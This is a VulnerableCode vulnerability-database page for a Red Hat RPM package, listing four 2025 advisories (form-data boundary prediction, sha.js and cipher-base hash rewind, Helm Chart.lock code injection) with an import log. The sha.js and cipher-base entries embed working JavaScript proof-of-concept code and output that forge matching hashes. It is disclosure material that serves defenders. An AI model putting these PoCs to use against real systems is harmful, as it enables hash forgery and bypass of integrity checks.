VulnerableCode Package Details - pkg:rpm/redhat/multicluster-operators-channel@container-v2.12?arch=5-4

Vulnerabilities affecting this package (4)

Vulnerability	Summary	Fixed by
VCID-4pq8-1dxx-37gj Aliases: CVE-2025-7783 GHSA-fjxv-7rqg-78g4	form-data uses unsafe random function in form-data for choosing boundary ### Summary form-data uses `Math.random()` to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: 1. can observe other values produced by Math.random in the target application, and 2. can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was [recently found in `undici`](https://hackerone.com/reports/2913312) by [`parrot409`](https://hackerone.com/parrot409?type=user) -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. ### Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a `x-request-id` header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. `Math.random()` is a fine place to get these sorts of IDs (in fact, [opentelemetry uses Math.random for this purpose](https://github.com/open-telemetry/opentelemetry-js/blob/2053f0d3a44631ade77ea04f656056a2c8a2ae76/packages/opentelemetry-sdk-trace-base/src/platform/node/RandomIdGenerator.ts#L22)) ### PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). ### Impact For an application to be vulnerable, it must: - Use `form-data` to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) - Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.	There are no reported fixed by versions.
VCID-eraj-dyxs-xkfd Aliases: CVE-2025-9288 GHSA-95m3-7q98-8xr5	sha.js is missing type checks leading to hash rewind and passing on crafted data ### Summary This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation. Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]]) const sha = require('sha.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe ``` Or just: ```console > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' ``` ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)	There are no reported fixed by versions.
VCID-fr74-wcxv-quam Aliases: CVE-2025-53547 GHSA-557j-xg8c-q2mm	Helm vulnerable to Code Injection through malicious chart.yaml content A Helm contributor discovered that a specially crafted `Chart.yaml` file along with a specially linked `Chart.lock` file can lead to local code execution when dependencies are updated. ### Impact Fields in a `Chart.yaml` file, that are carried over to a `Chart.lock` file when dependencies are updated and this file is written, can be crafted in a way that can cause execution if that same content were in a file that is executed (e.g., a `bash.rc` file or shell script). If the `Chart.lock` file is symlinked to one of these files updating dependencies will write the lock file content to the symlinked file. This can lead to unwanted execution. Helm warns of the symlinked file but did not stop execution due to symlinking. This affects when dependencies are updated. When using the `helm` command this happens when `helm dependency update` is run. `helm dependency build` can write a lock file when one does not exist but this vector requires one to already exist. This affects the Helm SDK when the downloader `Manager` performs an update. ### Patches This issue has been resolved in Helm v3.18.4 ### Workarounds Ensure the `Chart.lock` file in a chart is not a symlink prior to updating dependencies. ### For more information Helm's security policy is spelled out in detail in our [SECURITY](https://github.com/helm/community/blob/master/SECURITY.md) document. ### Credits Disclosed by Jakub Ciolek at AlphaSense.	There are no reported fixed by versions.
VCID-tt31-4d54-k7cz Aliases: CVE-2025-9287 GHSA-cpq7-6gpm-g9rc	cipher-base is missing type checks, leading to hash rewind and passing on crafted data ### Summary This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView. Missing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 Hashed input means safe ``` This works with: ```js const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }]) ``` But there are other types of input which lead to unchecked results ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh)) 6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength	There are no reported fixed by versions.

Next non-vulnerable version	None.
Latest non-vulnerable version	None.
Risk	4.5

Date	Actor	Action	Vulnerability	Source	VulnerableCode Version
2026-04-01T13:38:44.197531+00:00	RedHat Importer	Affected by	VCID-fr74-wcxv-quam	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53547.json	38.0.0
2026-04-01T13:38:21.789742+00:00	RedHat Importer	Affected by	VCID-4pq8-1dxx-37gj	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-7783.json	38.0.0
2026-04-01T13:37:41.872145+00:00	RedHat Importer	Affected by	VCID-tt31-4d54-k7cz	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9287.json	38.0.0
2026-04-01T13:37:38.268273+00:00	RedHat Importer	Affected by	VCID-eraj-dyxs-xkfd	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9288.json	38.0.0